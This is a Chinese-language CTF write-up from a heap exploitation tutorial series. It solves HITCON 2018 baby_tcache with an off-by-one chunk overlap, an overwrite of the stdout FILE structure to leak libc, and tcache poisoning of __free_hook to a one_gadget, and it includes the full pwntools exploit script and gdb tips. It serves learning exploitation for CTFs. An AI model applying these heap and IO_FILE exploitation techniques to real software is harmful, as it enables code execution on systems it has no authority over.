pwn堆入门系列教程8

NoOne / 2019-10-08 08:30:00 / 浏览数 3658 安全技术 CTF 顶(0) 踩(0)

pwn堆入门系列教程8

pwn堆入门系列教程1
pwn堆入门系列教程2
pwn堆入门系列教程3
pwn堆入门系列教程4
pwn堆入门系列教程5
pwn堆入门系列教程6
pwn堆入门系列教程7

这篇文章感觉算堆又不算堆，因为要结合到IO_FILE攻击部分，而且最主要是IO_FILE的利用，此题又学习到新的东西了，以前只玩过IO_FILE的伪造vtable,这次的leak方法第

HITCON2018 baby_tcache

这道题我故意将其与tcache中的第一道题分开，因为这道题难度不在于tcache的攻击，而在于IO_FILE的利用，利用上一篇文章中的方法也很容易构造overlap，但libc却无法

功能分析

1. 新建一个堆块，存在off-by-one
2. 删除一个堆块
3. 退出

无leak函数

漏洞点分析

```
int sub_C6B()
{
 _QWORD *v0; // rax
 signed int i; // [rsp+Ch] [rbp-14h]
 _BYTE *v3; // [rsp+10h] [rbp-10h]
 unsigned __int64 size; // [rsp+18h] [rbp-8h]

 for ( i = 0; ; ++i )
 {
   if ( i > 9 )
   {
     LODWORD(v0) = puts(":(");
     return (signed int)v0;
   }
   if ( !qword_202060[i] )
     break;
 }
 printf("Size:");
 size = sub_B27();
 if ( size > 0x2000 )
   exit(-2);
 v3 = malloc(size);
 if ( !v3 )
   exit(-1);
 printf("Data:");
 sub_B88((__int64)v3, size);
 v3[size] = 0;
 qword_202060[i] = v3;
 v0 = qword_2020C0;
 qword_2020C0[i] = size;
 return (signed int)v0;
}
```

漏洞点很明显，off-by-one，在堆块重用机制下，会覆盖到下一个堆快的size部分

漏洞利用过程

起初自己分析的时候做着做着忘了他没有leak，一股脑构造了个overlap，然后？？？我没有leak咋泄露啊，然后爆炸了，卡了很久都不知道怎么leak
看了别人的wp后发觉是利用IO_FILE泄露，以前没有接触过，所以这次记录下

堆操作初始化

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./baby_tcache')
libc = elf.libc
io = process('./baby_tcache')
context.log_level = 'debug'

def choice(idx):
   io.sendlineafter("Your choice: ", str(idx))

def new(size, content='a'):
   choice(1)
   io.sendlineafter("Size:", str(size))
   io.sendafter('Data:', content)

def delete(idx):
   choice(2)
   io.sendlineafter("Index:", str(idx))

def exit():
   choice(3)
```

这个没啥好讲的，每次都得写

这部分是构造overlap的

```
new(0x500-0x8) #0
   new(0x30) #1
   new(0x40) #2
   new(0x50) #3
   new(0x60) #4
   new(0x500-0x8) #5
   new(0x70) #6
   delete(4)
   new(0x68, "A"*0x60 + '\x60\x06')
   delete(2)
   delete(0)
   delete(5)
```

前面学过chunk extend部分，这部分应该很好理解，至于那里为什么是\x60\x06

```
hex(0x500+0x30+0x40+0x50+0x60+0x40)
'0x660'
```

注意0x500这部分包括chunk的pre_size和size部分

计算的时候要算上chunk头部大小

leak libc(重点)

```
new(0x530)
   delete(4)
   new(0xa0, '\x60\x07')
   new(0x40, 'a')
   new(0x3e, p64(0xfbad1800)+ p64(0)*3 + '\x00')
   print(repr(io.recv(8)))
   print('leak!!!!!')
   info1 = io.recv(8)
   print(repr(info1))
   leak_libc = u64(info1)
   io.success("leak_libc: 0x%x" % leak_libc)
   libc_base = leak_libc - 0x3ed8b0
```

1. 我们要将unsortbin移动到chunk2部分，所以总大小为0x500+0x30+0x10=0x540，所以malloc是0x530
2. delete(4)为了后面做准备

3. 接下来要覆盖的后三位是0x760，这是不会改的，内存一个页是0x1000，后三位是固定的，所以需要爆破高位，我们爆破猜测为0，所以是0x0760，这里是chunk2的数
4. tcache poisoning攻击
5. 这里的为什么是fbad1800?以及0x3e大小，还有p64(0)如何来的？

引用ctf-wiki

最终会调用到这部分代码

```
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
 if (f->_flags & _IO_NO_WRITES)
   {
     f->_flags |= _IO_ERR_SEEN;
     __set_errno (EBADF);
     return EOF;
   }
 /* If currently reading or no buffer allocated. */
 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
   {
     :
     :
   }
 if (ch == EOF)
   return _IO_do_write (f, f->_IO_write_base,  // ■■■■■■■■■■■■■ _IO_write_base < _IO_write_ptr■■ _IO_write_base ■
                                               // ■■■■■■■■■ ■libc ■■■■■■■■■■
                                               // ■■■■■■■■_IO_write_base == _IO_write_ptr ■■■ libc ■■■■■■■■■■
           f->_IO_write_ptr - f->_IO_write_base);
```

下面会以_IO_do_write相同的参数调用new_do_write

```
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
 _IO_size_t count;
 if (fp->_flags & _IO_IS_APPENDING)  /* ■■■■ */
   /* On a system without a proper O_APPEND implementation,
      you would need to sys_seek(0, SEEK_END) here, but is
      not needed nor desirable for Unix- or Posix-like systems.
      Instead, just indicate that offset (before and after) is
      unpredictable. */
   fp->_offset = _IO_pos_BAD;
 else if (fp->_IO_read_end != fp->_IO_write_base)
   {
    .............
   }
 count = _IO_SYSWRITE (fp, data, to_do); // ■■■■■■ write
```

我们目的是调用到_IO_SYSWRITE，所以要bypass前面的检查，结合起来

```
_flags = 0xfbad0000  // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
```

上面这部分ctf-wiki讲过了不在重复叙述，我当初纠结的是puts究竟是如何泄露libc的，
我们要用的是_IO_SYSWRITE(fp, data, to_do)
这个函数最终对应到函数 write(fp->fileno, data, to_do)
程序执行到这里就会输出 f->_IO_write_base中的数据，而这些数据里面，就会存在固定的libc中的地址。

这部分过程建议读读这篇文章，当输出缓冲区还没有满时，会将即将打印的字符串复制到输出缓冲区中，填满输出缓冲区。然后调用_IO_new_file_overflow刷新输出缓冲区

IO-FILE部分源码分析及利用

所以会泄露出部分数据，逆着推导我们需要执行到这个函数，就需要bypass前面的检查

```
if (ch == EOF)
   return _IO_do_write (f, f->_IO_write_base,  // ■■■■■■■■■■■■■ _IO_write_base < _IO_write_ptr■■ _IO_write_base ■
                                               // ■■■■■■■■■ ■libc ■■■■■■■■■■
                                               // ■■■■■■■■_IO_write_base == _IO_write_ptr ■■■ libc ■■■■■■■■■■
```

```
            f->_IO_write_ptr - f->_IO_write_base);
```

这里我们将_IO_write_base最低覆盖成0了，所以他大部分情况下比_IO_write_ptr小，所以to_do的大小就变成相对可控了

在逆向回去就是flag检查

```
#define _IO_NO_WRITES 0x0008
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000

_flags = 0xfbad0000 //■■■■■■magic■■■
_flags & = _IO_NO_WRITES = 0
_flags & _IO_CURRENTLY_PUTTING = 1
_flags & _IO_IS_APPENDING = 1

■■_flag■■■0x0xfbad18*0  *■■■■■■
```

其实魔数部分改成什么都可以

原理讲通后就是测试了

```
struct _IO_FILE {
 int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

 /* The following pointers correspond to the C++ streambuf protocol. */
 /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
 char* _IO_read_ptr;   /* Current read pointer */
 char* _IO_read_end;   /* End of get area. */
 char* _IO_read_base;  /* Start of putback+get area. */
 char* _IO_write_base; /* Start of put area. */
 char* _IO_write_ptr;  /* Current put pointer. */
 char* _IO_write_end;  /* End of put area. */
 char* _IO_buf_base;   /* Start of reserve area. */
 char* _IO_buf_end;    /* End of reserve area. */
 /* The following fields are used to support backing up and undo. */
 char *_IO_save_base; /* Pointer to start of non-current get area. */
 char *_IO_backup_base;  /* Pointer to first valid character of backup area */
 char *_IO_save_end; /* Pointer to end of non-current get area. */

 struct _IO_marker *_markers;

 struct _IO_FILE *_chain;

 int _fileno;
#if 0
 int _blksize;
#else
 int _flags2;
#endif
 _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
 /* 1+column number of pbase(); 0 is unknown. */
 unsigned short _cur_column;
 signed char _vtable_offset;
 char _shortbuf[1];

 /*  char* _save_gptr;  char* _save_egptr; */

 _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```

这里就是覆盖_IO_FILE的结构体了，fbad1800是flags，fbad是魔数，
后面接下来三个p64(0)覆盖

```
char* _IO_read_ptr;   /* Current read pointer */
 char* _IO_read_end;   /* End of get area. */
 char* _IO_read_base;  /* Start of putback+get area. */
```

最后覆盖一个低字节\x00到_IO_write_base，效果如下

```
gdb-peda$ x/20gx 0x7f00898f0760
0x7f00898f0760 <_IO_2_1_stdout_>:   0x00000000fbad1800  0x0000000000000000
0x7f00898f0770 <_IO_2_1_stdout_+16>:    0x0000000000000000  0x0000000000000000
0x7f00898f0780 <_IO_2_1_stdout_+32>:    0x00007f00898f0700  0x00007f00898f07e3
0x7f00898f0790 <_IO_2_1_stdout_+48>:    0x00007f00898f07e3  0x00007f00898f07e3
0x7f00898f07a0 <_IO_2_1_stdout_+64>:    0x00007f00898f07e4  0x0000000000000000
0x7f00898f07b0 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f00898f07c0 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f00898efa00
0x7f00898f07d0 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffffff
0x7f00898f07e0 <_IO_2_1_stdout_+128>:   0x000000000a000000  0x00007f00898f18c0
0x7f00898f07f0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
gdb-peda$ x/10gx 0x00007f00898f0700
0x7f00898f0700 <_IO_2_1_stderr_+128>:   0x0000000000000000  0x00007f00898f18b0
0x7f00898f0710 <_IO_2_1_stderr_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f00898f0720 <_IO_2_1_stderr_+160>:   0x00007f00898ef780  0x0000000000000000
0x7f00898f0730 <_IO_2_1_stderr_+176>:   0x0000000000000000  0x0000000000000000
0x7f00898f0740 <_IO_2_1_stderr_+192>:   0x0000000000000000  0x0000000000000000
```

所以可以泄露出libc地址了

tcache poisoning攻击

```
new(0xa0, p64(libc_base + libc.symbols['__free_hook']))
   new(0x60, "A")
   #gdb.attach(io)
   #one_gadget = 0x4f2c5 #
   one_gadget = 0x4f322 #0x10a38c
   new(0x60, p64(libc_base + one_gadget))
   delete(0)
```

exp

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF('./baby_tcache')
libc = elf.libc
io = process('./baby_tcache')
context.log_level = 'debug'

def choice(idx):
   io.sendlineafter("Your choice: ", str(idx))

def new(size, content='a'):
   choice(1)
   io.sendlineafter("Size:", str(size))
   io.sendafter('Data:', content)

def delete(idx):
   choice(2)
   io.sendlineafter("Index:", str(idx))

def exit():
   choice(3)


def exp():
   new(0x500-0x8) #0
   new(0x30) #1
   new(0x40) #2
   new(0x50) #3
   new(0x60) #4
   new(0x500-0x8) #5
   new(0x70) #6
   delete(4)
   new(0x68, "A"*0x60 + '\x60\x06')
   delete(2)
   delete(0)
```

```
    delete(5)
    new(0x530)
    delete(4)
    new(0xa0, '\x60\x07')
    new(0x40, 'a')
    new(0x3e, p64(0xfbad1800)+ p64(0)*3 + '\x00')
    print(repr(io.recv(8)))
    print('leak!!!!!')
    info1 = io.recv(8)
    print(repr(info1))
    leak_libc = u64(info1)
    io.success("leak_libc: 0x%x" % leak_libc)
    libc_base = leak_libc - 0x3ed8b0
    new(0xa0, p64(libc_base + libc.symbols['__free_hook']))
    new(0x60, "A")
    #gdb.attach(io)
    #one_gadget = 0x4f2c5 #
    one_gadget = 0x4f322 #0x10a38c
    new(0x60, p64(libc_base + one_gadget))
    delete(0)



if __name__ == '__main__':
    while True:
        try:
            exp()
            io.interactive()
            break
        except Exception as e:
            io.close()
            io = process('./baby_tcache')
```

调试总结

这些都是自己调试出来的经验，所以个人技巧，不喜欢可以不用

查看内存部分

想gdb调试查看这部分内存的话
new(0x3e, p64(0xfbad1800)+ p64(0)*3 + '\x00')，
不要在之后下断，之后查看的话看不到
可以在这句话之前下断

```
b malloc
finish
n
```

n有好多步，自己测试，这里可以一直按回车，gdb会默认上一条命令，记得查看那时候内存就行x/20gx stdout

gdb附加技巧

这道题需要爆破，所以附加的不好很麻烦，我是加了个死循环，然后gdb.attach(io)，想要中断的时候在运行exp代码那个终端ctrl+c中断后在关闭gdb附加窗口

计算技巧

以前我经常用python计算offset，现在都是用gdb命令p addr1-addr2

总结

1. IO_FILE攻击还是nb,能利用基本函数泄露出libc
2. 自己构造起overlap起来还是有点吃力，以后要多练习这部分内容

参考链接

ctf-wiki
IO-FILE部分源码分析及利用
2018-hitcon-baby-tcache_writeup

上一篇：[红日安全]Web安全Day7 -... 下一篇：“北极星杯”AWD线上赛复盘

1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板